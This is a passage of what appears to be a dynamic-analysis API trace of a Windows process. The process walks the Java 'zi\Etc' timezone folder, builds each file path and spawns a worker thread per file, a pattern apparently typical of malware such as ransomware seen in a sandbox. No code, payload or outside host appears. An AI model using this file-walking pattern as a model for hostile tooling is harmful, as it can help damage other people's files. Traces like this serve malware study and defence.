(in: _Dest=0x1ced89f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.988] wcscat (in: _Dest=0x1ced89f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.988] wcscat (in: _Dest=0x1ced89f0, _Source="GMT+4" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+4") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+4" [0158.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced89f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d6c [0158.988] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+5", cAlternateFileName="GMT_5~1")) returned 1 [0158.988] wcscmp (_String1="GMT+5", _String2=".") returned 1 [0158.988] wcscmp (_String1="GMT+5", _String2="..") returned 1 [0158.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced96a0 [0158.989] wcscpy (in: _Dest=0x1ced96a0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.989] wcscat (in: _Dest=0x1ced96a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.989] wcscat (in: _Dest=0x1ced96a0, _Source="GMT+5" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+5") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+5" [0158.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced96a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x236c [0158.989] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+6", cAlternateFileName="GMT_6~1")) returned 1 [0158.989] wcscmp (_String1="GMT+6", _String2=".") returned 1 [0158.989] wcscmp (_String1="GMT+6", _String2="..") returned 1 [0158.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced8c90 [0158.990] wcscpy (in: _Dest=0x1ced8c90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.990] wcscat (in: _Dest=0x1ced8c90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.990] wcscat (in: _Dest=0x1ced8c90, _Source="GMT+6" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+6") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+6" [0158.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced8c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2354 [0158.991] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+7", cAlternateFileName="GMT_7~1")) returned 1 [0158.991] wcscmp (_String1="GMT+7", _String2=".") returned 1 [0158.991] wcscmp (_String1="GMT+7", _String2="..") returned 1 [0158.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced8e50 [0158.991] wcscpy (in: _Dest=0x1ced8e50, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.991] wcscat (in: _Dest=0x1ced8e50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.991] wcscat (in: _Dest=0x1ced8e50, _Source="GMT+7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+7") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+7" [0158.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced8e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2350 [0158.992] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+8", cAlternateFileName="GMT_8~1")) returned 1 [0158.992] wcscmp (_String1="GMT+8", _String2=".") returned 1 [0158.992] wcscmp (_String1="GMT+8", _String2="..") returned 1 [0158.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced9390 [0158.993] wcscpy (in: _Dest=0x1ced9390, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.993] wcscat (in: _Dest=0x1ced9390, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.993] wcscat (in: _Dest=0x1ced9390, _Source="GMT+8" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8" [0158.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced9390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2348 [0158.993] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+9", cAlternateFileName="GMT_9~1")) returned 1 [0158.994] wcscmp (_String1="GMT+9", _String2=".") returned 1 [0158.994] wcscmp (_String1="GMT+9", _String2="..") returned 1 [0158.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced8de0 [0158.994] wcscpy (in: _Dest=0x1ced8de0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.994] wcscat (in: _Dest=0x1ced8de0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.994] wcscat (in: _Dest=0x1ced8de0, _Source="GMT+9" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+9") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+9" [0158.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced8de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2344 [0158.995] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-1", cAlternateFileName="")) returned 1 [0158.995] wcscmp (_String1="GMT-1", _String2=".") returned 1 [0158.995] wcscmp (_String1="GMT-1", _String2="..") returned 1 [0158.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced90f0 [0158.995] wcscpy (in: _Dest=0x1ced90f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.995] wcscat (in: _Dest=0x1ced90f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.995] wcscat (in: _Dest=0x1ced90f0, _Source="GMT-1" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-1") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-1" [0158.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced90f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba0 [0158.996] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-10", cAlternateFileName="")) returned 1 [0158.996] wcscmp (_String1="GMT-10", _String2=".") returned 1 [0158.996] wcscmp (_String1="GMT-10", _String2="..") returned 1 [0158.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1ced9010 [0158.996] wcscpy (in: _Dest=0x1ced9010, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.996] wcscat (in: _Dest=0x1ced9010, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.996] wcscat (in: _Dest=0x1ced9010, _Source="GMT-10" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-10") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-10" [0158.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced9010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b9c [0158.997] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-11", cAlternateFileName="")) returned 1 [0158.997] wcscmp (_String1="GMT-11", _String2=".") returned 1 [0158.997] wcscmp (_String1="GMT-11", _String2="..") returned 1 [0158.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1ced9550 [0158.998] wcscpy (in: _Dest=0x1ced9550, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.998] wcscat (in: _Dest=0x1ced9550, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.998] wcscat (in: _Dest=0x1ced9550, _Source="GMT-11" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-11") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-11" [0158.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced9550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1abc [0158.999] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-12", cAlternateFileName="")) returned 1 [0158.999] wcscmp (_String1="GMT-12", _String2=".") returned 1 [0158.999] wcscmp (_String1="GMT-12", _String2="..") returned 1 [0158.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b864060 [0158.999] wcscpy (in: _Dest=0x1b864060, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.999] wcscat (in: _Dest=0x1b864060, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.999] wcscat (in: _Dest=0x1b864060, _Source="GMT-12" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-12") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-12" [0158.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2328 [0159.000] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-13", cAlternateFileName="")) returned 1 [0159.000] wcscmp (_String1="GMT-13", _String2=".") returned 1 [0159.000] wcscmp (_String1="GMT-13", _String2="..") returned 1 [0159.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b864300 [0159.000] wcscpy (in: _Dest=0x1b864300, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0159.000] wcscat (in: _Dest=0x1b864300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0159.000] wcscat (in: _Dest=0x1b864300, _Source="GMT-13" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-13") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-13" [0159.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2314 [0159.001] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-14", cAlternateFileName="")) returned 1 [0159.001] wcscmp (_String1="GMT-14", _String2=".") returned 1 [0159.001] wcscmp (_String1="GMT-14", _String2="..") returned 1 [0159.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b864530 [0159.001] wcscpy (in: _Dest=0x1b864530, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0159.002] wcscat (in: _Dest=0x1b864530, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0159.002] wcscat (in: _Dest=0x1b864530, _Source="GMT-14" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-14") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-14" [0159.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230c [0159.002] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-2", cAlternateFileName="")) returned 1 [0159.003] wcscmp (_String1="GMT-2", _String2=".") returned 1 [0159.003] wcscmp (_String1="GMT-2", _String2="..") returned 1 [0159.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b863f80 [0159.003] wcscpy (in: _Dest=0x1b863f80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0159.003] wcscat (in: _Dest=0x1b863f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0159.003] wcscat (in: _Dest=0x1b863f80, _Source="GMT-2" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-2") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-2" [0159.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2308 [0159.004] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-3", cAlternateFileName="")) returned 1 [0159.004] wcscmp (_String1="GMT-3", _String2=".") returned 1 [0159.004] wcscmp (_String1="GMT-3", _String2="..") returned 1 [0159.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b863ea0 [0159.005] wcscpy (in: _Dest=0x1b863ea0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0159.005] wcscat (in: _Dest=0x1b863ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0159.005] wcscat (in: _Dest=0x1b863ea0, _Source="GMT-3" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-3") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-3" [0159.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe68 [0159.006] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-4", cAlternateFileName="")) returned 1 [0159.006] wcscmp (_String1="GMT-4", _String2=".") returned 1 [0159.006] wcscmp (_String1="GMT-4", _String2="..") returned 1 [0159.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b864680 [0159.006] wcscpy (in: _Dest=0x1b864680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0159.006] wcscat (in: _Dest=0x1b864680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0159.006] wcscat (in: _Dest=0x1b864680, _Source="GMT-4" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-4") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-4" [0159.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22ec [0159.007] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-5", cAlternateFileName="")) returned 1 [0159.007] wcscmp (_String1="GMT-5", _String2=".") returned 1 [0159.007] wcscmp (_String1="GMT-5", _String2="..") returned 1 [0159.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b863c70 [0159.007] wcscpy (in: _Dest=0x1b863c70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0159.007] wcscat (in: _Dest=0x1b863c70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0159.007] wcscat (in: _Dest=0x1b863c70, _Source="GMT-5" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-5") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-5" [0159.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c8 [0159.008] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, 